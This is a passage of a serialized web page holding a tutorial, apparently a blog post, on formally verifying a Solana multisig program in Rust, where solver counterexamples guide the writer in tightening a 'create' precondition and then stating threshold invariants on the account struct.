err!",{"type":22,"tag":118,"props":25468,"children":25469},{"style":125},[25470],{"type":28,"value":540},{"type":22,"tag":118,"props":25472,"children":25473},{"style":131},[25474],{"type":28,"value":25475},"MsError",{"type":22,"tag":118,"props":25477,"children":25478},{"style":210},[25479],{"type":28,"value":1190},{"type":22,"tag":118,"props":25481,"children":25482},{"style":131},[25483],{"type":28,"value":25484},"EmptyMembers",{"type":22,"tag":118,"props":25486,"children":25487},{"style":125},[25488],{"type":28,"value":682},{"type":22,"tag":118,"props":25490,"children":25491},{"class":120,"line":913},[25492],{"type":22,"tag":118,"props":25493,"children":25494},{"style":125},[25495],{"type":28,"value":1254},{"type":22,"tag":118,"props":25497,"children":25498},{"class":120,"line":953},[25499],{"type":22,"tag":118,"props":25500,"children":25501},{"emptyLinePlaceholder":15},[25502],{"type":28,"value":250},{"type":22,"tag":118,"props":25504,"children":25505},{"class":120,"line":982},[25506],{"type":22,"tag":118,"props":25507,"children":25508},{"style":257},[25509],{"type":28,"value":25510},"    // make sure we don't exceed u16 on first call\n",{"type":22,"tag":118,"props":25512,"children":25513},{"class":120,"line":995},[25514,25518,25522,25526,25530,25534,25538,25543,25547],{"type":22,"tag":118,"props":25515,"children":25516},{"style":1480},[25517],{"type":28,"value":2159},{"type":22,"tag":118,"props":25519,"children":25520},{"style":204},[25521],{"type":28,"value":25411},{"type":22,"tag":118,"props":25523,"children":25524},{"style":210},[25525],{"type":28,"value":16176},{"type":22,"tag":118,"props":25527,"children":25528},{"style":131},[25529],{"type":28,"value":3946},{"type":22,"tag":118,"props":25531,"children":25532},{"style":210},[25533],{"type":28,"value":1190},{"type":22,"tag":118,"props":25535,"children":25536},{"style":532},[25537],{"type":28,"value":21441},{"type":22,"tag":118,"props":25539,"children":25540},{"style":125},[25541],{"type":28,"value":25542},"(u16",{"type":22,"tag":118,"props":25544,"children":25545},{"style":210},[25546],{"type":28,"value":1190},{"type":22,"tag":118,"props":25548,"children":25549},{"style":125},[25550],{"type":28,"value":25551},"MAX) {\n",{"type":22,"tag":118,"props":25553,"children":25554},{"class":120,"line":1011},[25555,25559,25563,25567,25571,25575,25580],{"type":22,"tag":118,"props":25556,"children":25557},{"style":1480},[25558],{"type":28,"value":2223},{"type":22,"tag":118,"props":25560,"children":25561},{"style":532},[25562],{"type":28,"value":25466},{"type":22,"tag":118,"props":25564,"children":25565},{"style":125},[25566],{"type":28,"value":540},{"type":22,"tag":118,"props":25568,"children":25569},{"style":131},[25570],{"type":28,"value":25475},{"type":22,"tag":118,"props":25572,"children":25573},{"style":210},[25574],{"type":28,"value":1190},{"type":22,"tag":118,"props":25576,"children":25577},{"style":131},[25578],{"type":28,"value":25579},"MaxMembersReached",{"type":22,"tag":118,"props":25581,"children":25582},{"style":125},[25583],{"type":28,"value":682},{"type":22,"tag":118,"props":25585,"children":25586},{"class":120,"line":1019},[25587],{"type":22,"tag":118,"props":25588,"children":25589},{"style":125},[25590],{"type":28,"value":1254},{"type":22,"tag":118,"props":25592,"children":25593},{"class":120,"line":1028},[25594],{"type":22,"tag":118,"props":25595,"children":25596},{"emptyLinePlaceholder":15},[25597],{"type":28,"value":250},{"type":22,"tag":118,"props":25599,"children":25600},{"class":120,"line":1101},[25601],{"type":22,"tag":118,"props":25602,"children":25603},{"style":257},[25604],{"type":28,"value":25605},"    // make sure threshold is valid\n",{"type":22,"tag":118,"props":25607,"children":25608},{"class":120,"line":1146},[25609,25613,25617,25621,25625,25629,25633,25638,25642,25647,25651,25655,25659,25663,25667,25672,25677],{"type":22,"tag":118,"props":25610,"children":25611},{"style":1480},[25612],{"type":28,"value":2159},{"type":22,"tag":118,"props":25614,"children":25615},{"style":131},[25616],{"type":28,"value":3946},{"type":22,"tag":118,"props":25618,"children":25619},{"style":210},[25620],{"type":28,"value":1190},{"type":22,"tag":118,"props":25622,"children":25623},{"style":532},[25624],{"type":28,"value":21441},{"type":22,"tag":118,"props":25626,"children":25627},{"style":125},[25628],{"type":28,"value":540},{"type":22,"tag":118,"props":25630,"children":25631},{"style":204},[25632],{"type":28,"value":24704},{"type":22,"tag":118,"props":25634,"children":25635},{"style":125},[25636],{"type":28,"value":25637},") \u003C ",{"type":22,"tag":118,"props":25639,"children":25640},{"style":674},[25641],{"type":28,"value":6026},{"type":22,"tag":118,"props":25643,"children":25644},{"style":210},[25645],{"type":28,"value":25646}," ||",{"type":22,"tag":118,"props":25648,"children":25649},{"style":131},[25650],{"type":28,"value":3946},{"type":22,"tag":118,"props":25652,"children":25653},{"style":210},[25654],{"type":28,"value":1190},{"type":22,"tag":118,"props":25656,"children":25657},{"style":532},[25658],{"type":28,"value":21441},{"type":22,"tag":118,"props":25660,"children":25661},{"style":125},[25662],{"type":28,"value":540},{"type":22,"tag":118,"props":25664,"children":25665},{"style":204},[25666],{"type":28,"value":24704},{"type":22,"tag":118,"props":25668,"children":25669},{"style":125},[25670],{"type":28,"value":25671},") > ",{"type":22,"tag":118,"props":25673,"children":25674},{"style":204},[25675],{"type":28,"value":25676},"total_members",{"type":22,"tag":118,"props":25678,"children":25679},{"style":125},[25680],{"type":28,"value":1474},{"type":22,"tag":118,"props":25682,"children":25683},{"class":120,"line":1226},[25684,25688,25692,25696,25700,25704,25709],{"type":22,"tag":118,"props":25685,"children":25686},{"style":1480},[25687],{"type":28,"value":2223},{"type":22,"tag":118,"props":25689,"children":25690},{"style":532},[25691],{"type":28,"value":25466},{"type":22,"tag":118,"props":25693,"children":25694},{"style":125},[25695],{"type":28,"value":540},{"type":22,"tag":118,"props":25697,"children":25698},{"style":131},[25699],{"type":28,"value":25475},{"type":22,"tag":118,"props":25701,"children":25702},{"style":210},[25703],{"type":28,"value":1190},{"type":22,"tag":118,"props":25705,"children":25706},{"style":131},[25707],{"type":28,"value":25708},"InvalidThreshold",{"type":22,"tag":118,"props":25710,"children":25711},{"style":125},[25712],{"type":28,"value":682},{"type":22,"tag":118,"props":25714,"children":25715},{"class":120,"line":1234},[25716],{"type":22,"tag":118,"props":25717,"children":25718},{"style":125},[25719],{"type":28,"value":1254},{"type":22,"tag":118,"props":25721,"children":25722},{"class":120,"line":1248},[25723],{"type":22,"tag":118,"props":25724,"children":25725},{"emptyLinePlaceholder":15},[25726],{"type":28,"value":250},{"type":22,"tag":118,"props":25728,"children":25729},{"class":120,"line":1257},[25730,25734,25738,25742,25746,25751,25755,25759],{"type":22,"tag":118,"props":25731,"children":25732},{"style":204},[25733],{"type":28,"value":22191},{"type":22,"tag":118,"props":25735,"children":25736},{"style":210},[25737],{"type":28,"value":292},{"type":22,"tag":118,"props":25739,"children":25740},{"style":125},[25741],{"type":28,"value":648},{"type":22,"tag":118,"props":25743,"children":25744},{"style":210},[25745],{"type":28,"value":292},{"type":22,"tag":118,"props":25747,"children":25748},{"style":125},[25749],{"type":28,"value":25750},"multisig",{"type":22,"tag":118,"props":25752,"children":25753},{"style":210},[25754],{"type":28,"value":292},{"type":22,"tag":118,"props":25756,"children":25757},{"style":532},[25758],{"type":28,"value":22700},{"type":22,"tag":118,"props":25760,"children":25761},{"style":125},[25762],{"type":28,"value":696},{"type":22,"tag":118,"props":25764,"children":25766},{"class":120,"line":25765},45,[25767,25772],{"type":22,"tag":118,"props":25768,"children":25769},{"style":204},[25770],{"type":28,"value":25771},"        threshold",{"type":22,"tag":118,"props":25773,"children":25774},{"style":125},[25775],{"type":28,"value":782},{"type":22,"tag":118,"props":25777,"children":25779},{"class":120,"line":25778},46,[25780,25785],{"type":22,"tag":118,"props":25781,"children":25782},{"style":204},[25783],{"type":28,"value":25784},"        create_key",{"type":22,"tag":118,"props":25786,"children":25787},{"style":125},[25788],{"type":28,"value":782},{"type":22,"tag":118,"props":25790,"children":25792},{"class":120,"line":25791},47,[25793,25798],{"type":22,"tag":118,"props":25794,"children":25795},{"style":204},[25796],{"type":28,"value":25797},"        members",{"type":22,"tag":118,"props":25799,"children":25800},{"style":125},[25801],{"type":28,"value":782},{"type":22,"tag":118,"props":25803,"children":25805},{"class":120,"line":25804},48,[25806,25810,25814,25818,25823,25827,25831,25835,25840,25844,25848,25852],{"type":22,"tag":118,"props":25807,"children":25808},{"style":210},[25809],{"type":28,"value":9756},{"type":22,"tag":118,"props":25811,"children":25812},{"style":204},[25813],{"type":28,"value":545},{"type":22,"tag":118,"props":25815,"children":25816},{"style":210},[25817],{"type":28,"value":292},{"type":22,"tag":118,"props":25819,"children":25820},{"style":125},[25821],{"type":28,"value":25822},"bumps",{"type":22,"tag":118,"props":25824,"children":25825},{"style":210},[25826],{"type":28,"value":292},{"type":22,"tag":118,"props":25828,"children":25829},{"style":532},[25830],{"type":28,"value":1195},{"type":22,"tag":118,"props":25832,"children":25833},{"style":125},[25834],{"type":28,"value":540},{"type":22,"tag":118,"props":25836,"children":25837},{"style":1866},[25838],{"type":28,"value":25839},"\"multisig\"",{"type":22,"tag":118,"props":25841,"children":25842},{"style":125},[25843],{"type":28,"value":3627},{"type":22,"tag":118,"props":25845,"children":25846},{"style":210},[25847],{"type":28,"value":292},{"type":22,"tag":118,"props":25849,"children":25850},{"style":532},[25851],{"type":28,"value":5679},{"type":22,"tag":118,"props":25853,"children":25854},{"style":125},[25855],{"type":28,"value":768},{"type":22,"tag":118,"props":25857,"children":25859},{"class":120,"line":25858},49,[25860],{"type":22,"tag":118,"props":25861,"children":25862},{"style":125},[25863],{"type":28,"value":25864},"    )\n",{"type":22,"tag":118,"props":25866,"children":25868},{"class":120,"line":25867},50,[25869],{"type":22,"tag":118,"props":25870,"children":25871},{"style":125},[25872],{"type":28,"value":481},{"type":22,"tag":31,"props":25874,"children":25875},{},[25876,25878,25883,25885,25890],{"type":28,"value":25877},"We can start by testing an empty ",{"type":22,"tag":114,"props":25879,"children":25881},{"className":25880},[],[25882],{"type":28,"value":22122},{"type":28,"value":25884}," (this will default to ",{"type":22,"tag":114,"props":25886,"children":25888},{"className":25887},[],[25889],{"type":28,"value":6007},{"type":28,"value":25891},"):",{"type":22,"tag":107,"props":25893,"children":25895},{"code":25894,"language":111,"meta":7,"className":109,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[25896],{"type":22,"tag":114,"props":25897,"children":25898},{"__ignoreMap":7},[25899,25907],{"type":22,"tag":118,"props":25900,"children":25901},{"class":120,"line":121},[25902],{"type":22,"tag":118,"props":25903,"children":25904},{"style":125},[25905],{"type":28,"value":25906},"#[succeeds_if()]\n",{"type":22,"tag":118,"props":25908,"children":25909},{"class":120,"line":142},[25910,25914,25918,25922,25926,25930,25935,25939],{"type":22,"tag":118,"props":25911,"children":25912},{"style":146},[25913],{"type":28,"value":149},{"type":22,"tag":118,"props":25915,"children":25916},{"style":146},[25917],{"type":28,"value":529},{"type":22,"tag":118,"props":25919,"children":25920},{"style":532},[25921],{"type":28,"value":9120},{"type":22,"tag":118,"props":25923,"children":25924},{"style":125},[25925],{"type":28,"value":540},{"type":22,"tag":118,"props":25927,"children":25928},{"style":210},[25929],{"type":28,"value":11589},{"type":22,"tag":118,"props":25931,"children":25932},{"style":125},[25933],{"type":28,"value":25934},") { ",{"type":22,"tag":118,"props":25936,"children":25937},{"style":210},[25938],{"type":28,"value":11589},{"type":22,"tag":118,"props":25940,"children":25941},{"style":125},[25942],{"type":28,"value":11594},{"type":22,"tag":31,"props":25944,"children":25945},{},[25946],{"type":28,"value":25947},"Running the solver, we get:",{"type":22,"tag":107,"props":25949,"children":25951},{"code":25950},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[25952],{"type":22,"tag":114,"props":25953,"children":25954},{"__ignoreMap":7},[25955],{"type":28,"value":25950},{"type":22,"tag":31,"props":25957,"children":25958},{},[25959,25961,25966],{"type":28,"value":25960},"This means that ",{"type":22,"tag":114,"props":25962,"children":25964},{"className":25963},[],[25965],{"type":28,"value":6007},{"type":28,"value":25967}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":22,"tag":31,"props":25969,"children":25970},{},[25971],{"type":28,"value":25972},"We can ask the solver to produce a counterexample:",{"type":22,"tag":107,"props":25974,"children":25976},{"code":25975},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[25977],{"type":22,"tag":114,"props":25978,"children":25979},{"__ignoreMap":7},[25980],{"type":28,"value":25975},{"type":22,"tag":31,"props":25982,"children":25983},{},[25984],{"type":28,"value":25985},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":22,"tag":31,"props":25987,"children":25988},{},[25989],{"type":22,"tag":4764,"props":25990,"children":25991},{},[25992,25994,26000],{"type":28,"value":25993},"Note also that the verifier decided to use a ",{"type":22,"tag":114,"props":25995,"children":25997},{"className":25996},[],[25998],{"type":28,"value":25999},"SparseVec",{"type":28,"value":26001}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":22,"tag":31,"props":26003,"children":26004},{},[26005],{"type":22,"tag":4764,"props":26006,"children":26007},{},[26008,26010,26015,26016,26022,26024,26029,26031,26036],{"type":28,"value":26009},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":22,"tag":114,"props":26011,"children":26013},{"className":26012},[],[26014],{"type":28,"value":5824},{"type":28,"value":12991},{"type":22,"tag":114,"props":26017,"children":26019},{"className":26018},[],[26020],{"type":28,"value":26021},"pop",{"type":28,"value":26023}," are stubbed out to simply panic for the ",{"type":22,"tag":114,"props":26025,"children":26027},{"className":26026},[],[26028],{"type":28,"value":25999},{"type":28,"value":26030}," and if this code tried to do that we would fall back to the concrete ",{"type":22,"tag":114,"props":26032,"children":26034},{"className":26033},[],[26035],{"type":28,"value":3789},{"type":28,"value":26037}," type.",{"type":22,"tag":31,"props":26039,"children":26040},{},[26041],{"type":28,"value":26042},"We can add this to our constraint and try again:",{"type":22,"tag":107,"props":26044,"children":26046},{"code":26045,"language":111,"meta":7,"className":109,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[26047],{"type":22,"tag":114,"props":26048,"children":26049},{"__ignoreMap":7},[26050,26058,26095,26102],{"type":22,"tag":118,"props":26051,"children":26052},{"class":120,"line":121},[26053],{"type":22,"tag":118,"props":26054,"children":26055},{"style":125},[26056],{"type":28,"value":26057},"#[succeeds_if(\n",{"type":22,"tag":118,"props":26059,"children":26060},{"class":120,"line":142},[26061,26066,26070,26074,26078,26082,26086,26090],{"type":22,"tag":118,"props":26062,"children":26063},{"style":125},[26064],{"type":28,"value":26065},"    (threshold ",{"type":22,"tag":118,"props":26067,"children":26068},{"style":146},[26069],{"type":28,"value":1215},{"type":22,"tag":118,"props":26071,"children":26072},{"style":131},[26073],{"type":28,"value":3946},{"type":22,"tag":118,"props":26075,"children":26076},{"style":125},[26077],{"type":28,"value":588},{"type":22,"tag":118,"props":26079,"children":26080},{"style":210},[26081],{"type":28,"value":21382},{"type":22,"tag":118,"props":26083,"children":26084},{"style":125},[26085],{"type":28,"value":25332},{"type":22,"tag":118,"props":26087,"children":26088},{"style":210},[26089],{"type":28,"value":292},{"type":22,"tag":118,"props":26091,"children":26092},{"style":125},[26093],{"type":28,"value":26094},"len()\n",{"type":22,"tag":118,"props":26096,"children":26097},{"class":120,"line":177},[26098],{"type":22,"tag":118,"props":26099,"children":26100},{"style":125},[26101],{"type":28,"value":139},{"type":22,"tag":118,"props":26103,"children":26104},{"class":120,"line":195},[26105,26109,26113,26117,26121,26125,26129,26133],{"type":22,"tag":118,"props":26106,"children":26107},{"style":146},[26108],{"type":28,"value":149},{"type":22,"tag":118,"props":26110,"children":26111},{"style":146},[26112],{"type":28,"value":529},{"type":22,"tag":118,"props":26114,"children":26115},{"style":532},[26116],{"type":28,"value":9120},{"type":22,"tag":118,"props":26118,"children":26119},{"style":125},[26120],{"type":28,"value":540},{"type":22,"tag":118,"props":26122,"children":26123},{"style":210},[26124],{"type":28,"value":11589},{"type":22,"tag":118,"props":26126,"children":26127},{"style":125},[26128],{"type":28,"value":25934},{"type":22,"tag":118,"props":26130,"children":26131},{"style":210},[26132],{"type":28,"value":11589},{"type":22,"tag":118,"props":26134,"children":26135},{"style":125},[26136],{"type":28,"value":11594},{"type":22,"tag":31,"props":26138,"children":26139},{},[26140],{"type":28,"value":26141},"Verification failed again! This time we get a different counterexample:",{"type":22,"tag":107,"props":26143,"children":26145},{"code":26144},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[26146],{"type":22,"tag":114,"props":26147,"children":26148},{"__ignoreMap":7},[26149],{"type":28,"value":26144},{"type":22,"tag":31,"props":26151,"children":26152},{},[26153],{"type":28,"value":26154},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":22,"tag":107,"props":26156,"children":26158},{"code":26157,"language":111,"meta":7,"className":109,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[26159],{"type":22,"tag":114,"props":26160,"children":26161},{"__ignoreMap":7},[26162,26169,26204,26224,26231],{"type":22,"tag":118,"props":26163,"children":26164},{"class":120,"line":121},[26165],{"type":22,"tag":118,"props":26166,"children":26167},{"style":125},[26168],{"type":28,"value":26057},{"type":22,"tag":118,"props":26170,"children":26171},{"class":120,"line":142},[26172,26176,26180,26184,26188,26192,26196,26200],{"type":22,"tag":118,"props":26173,"children":26174},{"style":125},[26175],{"type":28,"value":26065},{"type":22,"tag":118,"props":26177,"children":26178},{"style":146},[26179],{"type":28,"value":1215},{"type":22,"tag":118,"props":26181,"children":26182},{"style":131},[26183],{"type":28,"value":3946},{"type":22,"tag":118,"props":26185,"children":26186},{"style":125},[26187],{"type":28,"value":588},{"type":22,"tag":118,"props":26189,"children":26190},{"style":210},[26191],{"type":28,"value":21382},{"type":22,"tag":118,"props":26193,"children":26194},{"style":125},[26195],{"type":28,"value":25332},{"type":22,"tag":118,"props":26197,"children":26198},{"style":210},[26199],{"type":28,"value":292},{"type":22,"tag":118,"props":26201,"children":26202},{"style":125},[26203],{"type":28,"value":26094},{"type":22,"tag":118,"props":26205,"children":26206},{"class":120,"line":177},[26207,26211,26216,26220],{"type":22,"tag":118,"props":26208,"children":26209},{"style":210},[26210],{"type":28,"value":3261},{"type":22,"tag":118,"props":26212,"children":26213},{"style":125},[26214],{"type":28,"value":26215}," threshold ",{"type":22,"tag":118,"props":26217,"children":26218},{"style":210},[26219],{"type":28,"value":17659},{"type":22,"tag":118,"props":26221,"children":26222},{"style":125},[26223],{"type":28,"value":1874},{"type":22,"tag":118,"props":26225,"children":26226},{"class":120,"line":195},[26227],{"type":22,"tag":118,"props":26228,"children":26229},{"style":125},[26230],{"type":28,"value":139},{"type":22,"tag":118,"props":26232,"children":26233},{"class":120,"line":244},[26234,26238,26242,26246,26250,26254,26258,26262],{"type":22,"tag":118,"props":26235,"children":26236},{"style":146},[26237],{"type":28,"value":149},{"type":22,"tag":118,"props":26239,"children":26240},{"style":146},[26241],{"type":28,"value":529},{"type":22,"tag":118,"props":26243,"children":26244},{"style":532},[26245],{"type":28,"value":9120},{"type":22,"tag":118,"props":26247,"children":26248},{"style":125},[26249],{"type":28,"value":540},{"type":22,"tag":118,"props":26251,"children":26252},{"style":210},[26253],{"type":28,"value":11589},{"type":22,"tag":118,"props":26255,"children":26256},{"style":125},[26257],{"type":28,"value":25934},{"type":22,"tag":118,"props":26259,"children":26260},{"style":210},[26261],{"type":28,"value":11589},{"type":22,"tag":118,"props":26263,"children":26264},{"style":125},[26265],{"type":28,"value":11594},{"type":22,"tag":31,"props":26267,"children":26268},{},[26269],{"type":28,"value":26270},"A third counterexample:",{"type":22,"tag":107,"props":26272,"children":26274},{"code":26273},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[26275],{"type":22,"tag":114,"props":26276,"children":26277},{"__ignoreMap":7},[26278],{"type":28,"value":26273},{"type":22,"tag":31,"props":26280,"children":26281},{},[26282,26284,26290],{"type":28,"value":26283},"Here we see the size of our ",{"type":22,"tag":114,"props":26285,"children":26287},{"className":26286},[],[26288],{"type":28,"value":26289},"members",{"type":28,"value":26291}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":22,"tag":107,"props":26293,"children":26295},{"code":26294,"language":111,"meta":7,"className":109,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[26296],{"type":22,"tag":114,"props":26297,"children":26298},{"__ignoreMap":7},[26299,26306,26341,26362,26414,26421],{"type":22,"tag":118,"props":26300,"children":26301},{"class":120,"line":121},[26302],{"type":22,"tag":118,"props":26303,"children":26304},{"style":125},[26305],{"type":28,"value":26057},{"type":22,"tag":118,"props":26307,"children":26308},{"class":120,"line":142},[26309,26313,26317,26321,26325,26329,26333,26337],{"type":22,"tag":118,"props":26310,"children":26311},{"style":125},[26312],{"type":28,"value":26065},{"type":22,"tag":118,"props":26314,"children":26315},{"style":146},[26316],{"type":28,"value":1215},{"type":22,"tag":118,"props":26318,"children":26319},{"style":131},[26320],{"type":28,"value":3946},{"type":22,"tag":118,"props":26322,"children":26323},{"style":125},[26324],{"type":28,"value":588},{"type":22,"tag":118,"props":26326,"children":26327},{"style":210},[26328],{"type":28,"value":21382},{"type":22,"tag":118,"props":26330,"children":26331},{"style":125},[26332],{"type":28,"value":25332},{"type":22,"tag":118,"props":26334,"children":26335},{"style":210},[26336],{"type":28,"value":292},{"type":22,"tag":118,"props":26338,"children":26339},{"style":125},[26340],{"type":28,"value":26094},{"type":22,"tag":118,"props":26342,"children":26343},{"class":120,"line":177},[26344,26348,26353,26357],{"type":22,"tag":118,"props":26345,"children":26346},{"style":210},[26347],{"type":28,"value":3261},{"type":22,"tag":118,"props":26349,"children":26350},{"style":125},[26351],{"type":28,"value":26352}," (threshold ",{"type":22,"tag":118,"props":26354,"children":26355},{"style":210},[26356],{"type":28,"value":17659},{"type":22,"tag":118,"props":26358,"children":26359},{"style":125},[26360],{"type":28,"value":26361}," 0)\n",{"type":22,"tag":118,"props":26363,"children":26364},{"class":120,"line":195},[26365,26369,26373,26377,26381,26385,26389,26394,26398,26402,26406,26410],{"type":22,"tag":118,"props":26366,"children":26367},{"style":210},[26368],{"type":28,"value":3261},{"type":22,"tag":118,"props":26370,"children":26371},{"style":125},[26372],{"type":28,"value":24949},{"type":22,"tag":118,"props":26374,"children":26375},{"style":210},[26376],{"type":28,"value":292},{"type":22,"tag":118,"props":26378,"children":26379},{"style":125},[26380],{"type":28,"value":22977},{"type":22,"tag":118,"props":26382,"children":26383},{"style":210},[26384],{"type":28,"value":21382},{"type":22,"tag":118,"props":26386,"children":26387},{"style":125},[26388],{"type":28,"value":842},{"type":22,"tag":118,"props":26390,"children":26391},{"style":131},[26392],{"type":28,"value":26393},"u16",{"type":22,"tag":118,"props":26395,"children":26396},{"style":210},[26397],{"type":28,"value":1190},{"type":22,"tag":118,"props":26399,"children":26400},{"style":131},[26401],{"type":28,"value":22995},{"type":22,"tag":118,"props":26403,"children":26404},{"style":146},[26405],{"type":28,"value":10829},{"type":22,"tag":118,"props":26407,"children":26408},{"style":131},[26409],{"type":28,"value":3946},{"type":22,"tag":118,"props":26411,"children":26412},{"style":125},[26413],{"type":28,"value":3334},{"type":22,"tag":118,"props":26415,"children":26416},{"class":120,"line":244},[26417],{"type":22,"tag":118,"props":26418,"children":26419},{"style":125},[26420],{"type":28,"value":139},{"type":22,"tag":118,"props":26422,"children":26423},{"class":120,"line":253},[26424,26428,26432,26436,26440,26444,26448,26452],{"type":22,"tag":118,"props":26425,"children":26426},{"style":146},[26427],{"type":28,"value":149},{"type":22,"tag":118,"props":26429,"children":26430},{"style":146},[26431],{"type":28,"value":529},{"type":22,"tag":118,"props":26433,"children":26434},{"style":532},[26435],{"type":28,"value":9120},{"type":22,"tag":118,"props":26437,"children":26438},{"style":125},[26439],{"type":28,"value":540},{"type":22,"tag":118,"props":26441,"children":26442},{"style":210},[26443],{"type":28,"value":11589},{"type":22,"tag":118,"props":26445,"children":26446},{"style":125},[26447],{"type":28,"value":25934},{"type":22,"tag":118,"props":26449,"children":26450},{"style":210},[26451],{"type":28,"value":11589},{"type":22,"tag":118,"props":26453,"children":26454},{"style":125},[26455],{"type":28,"value":11594},{"type":22,"tag":31,"props":26457,"children":26458},{},[26459],{"type":28,"value":26460},"And now we get:",{"type":22,"tag":107,"props":26462,"children":26464},{"code":26463},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[26465],{"type":22,"tag":114,"props":26466,"children":26467},{"__ignoreMap":7},[26468],{"type":28,"value":26463},{"type":22,"tag":31,"props":26470,"children":26471},{},[26472],{"type":28,"value":26473},"🥳🥳🥳",{"type":22,"tag":31,"props":26475,"children":26476},{},[26477],{"type":28,"value":26478},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":22,"tag":107,"props":26480,"children":26482},{"code":26481,"language":111,"meta":7,"className":109,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[26483],{"type":22,"tag":114,"props":26484,"children":26485},{"__ignoreMap":7},[26486,26509,26540],{"type":22,"tag":118,"props":26487,"children":26488},{"class":120,"line":121},[26489,26493,26497,26501,26505],{"type":22,"tag":118,"props":26490,"children":26491},{"style":1480},[26492],{"type":28,"value":17553},{"type":22,"tag":118,"props":26494,"children":26495},{"style":204},[26496],{"type":28,"value":25411},{"type":22,"tag":118,"props":26498,"children":26499},{"style":210},[26500],{"type":28,"value":2197},{"type":22,"tag":118,"props":26502,"children":26503},{"style":674},[26504],{"type":28,"value":6535},{"type":22,"tag":118,"props":26506,"children":26507},{"style":125},[26508],{"type":28,"value":1474},{"type":22,"tag":118,"props":26510,"children":26511},{"class":120,"line":142},[26512,26516,26520,26524,26528,26532,26536],{"type":22,"tag":118,"props":26513,"children":26514},{"style":1480},[26515],{"type":28,"value":18954},{"type":22,"tag":118,"props":26517,"children":26518},{"style":532},[26519],{"type":28,"value":25466},{"type":22,"tag":118,"props":26521,"children":26522},{"style":125},[26523],{"type":28,"value":540},{"type":22,"tag":118,"props":26525,"children":26526},{"style":131},[26527],{"type":28,"value":25475},{"type":22,"tag":118,"props":26529,"children":26530},{"style":210},[26531],{"type":28,"value":1190},{"type":22,"tag":118,"props":26533,"children":26534},{"style":131},[26535],{"type":28,"value":25484},{"type":22,"tag":118,"props":26537,"children":26538},{"style":125},[26539],{"type":28,"value":682},{"type":22,"tag":118,"props":26541,"children":26542},{"class":120,"line":177},[26543],{"type":22,"tag":118,"props":26544,"children":26545},{"style":125},[26546],{"type":28,"value":481},{"type":22,"tag":31,"props":26548,"children":26549},{},[26550,26552,26558,26560,26565,26567,26572,26574,26579],{"type":28,"value":26551},"In this case this is actually redundant because if ",{"type":22,"tag":114,"props":26553,"children":26555},{"className":26554},[],[26556],{"type":28,"value":26557},"members.len() == 0",{"type":28,"value":26559}," then our threshold would also have to be ",{"type":22,"tag":114,"props":26561,"children":26563},{"className":26562},[],[26564],{"type":28,"value":6036},{"type":28,"value":26566}," (and our ",{"type":22,"tag":114,"props":26568,"children":26570},{"className":26569},[],[26571],{"type":28,"value":24704},{"type":28,"value":26573}," is not allowed to be ",{"type":22,"tag":114,"props":26575,"children":26577},{"className":26576},[],[26578],{"type":28,"value":6036},{"type":28,"value":26580},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":22,"tag":1289,"props":26582,"children":26584},{"id":26583},"_2-verify-threshold-requirements",[26585],{"type":28,"value":26586},"2. Verify threshold requirements",{"type":22,"tag":31,"props":26588,"children":26589},{},[26590],{"type":28,"value":26591},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":22,"tag":31,"props":26593,"children":26594},{},[26595,26597,26601],{"type":28,"value":26596},"Unlike the previous example, we want to verify this in ",{"type":22,"tag":4764,"props":26598,"children":26599},{},[26600],{"type":28,"value":11298},{"type":28,"value":26602}," cases. I.e. any instruction that could mutate the multisig account.",{"type":22,"tag":31,"props":26604,"children":26605},{},[26606,26608,26612,26614,26619],{"type":28,"value":26607},"In this case, we want to model this as an ",{"type":22,"tag":4764,"props":26609,"children":26610},{},[26611],{"type":28,"value":23732},{"type":28,"value":26613}," on the ",{"type":22,"tag":114,"props":26615,"children":26617},{"className":26616},[],[26618],{"type":28,"value":24696},{"type":28,"value":26620}," account struct:",{"type":22,"tag":107,"props":26622,"children":26624},{"code":26623,"language":111,"meta":7,"className":109,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the 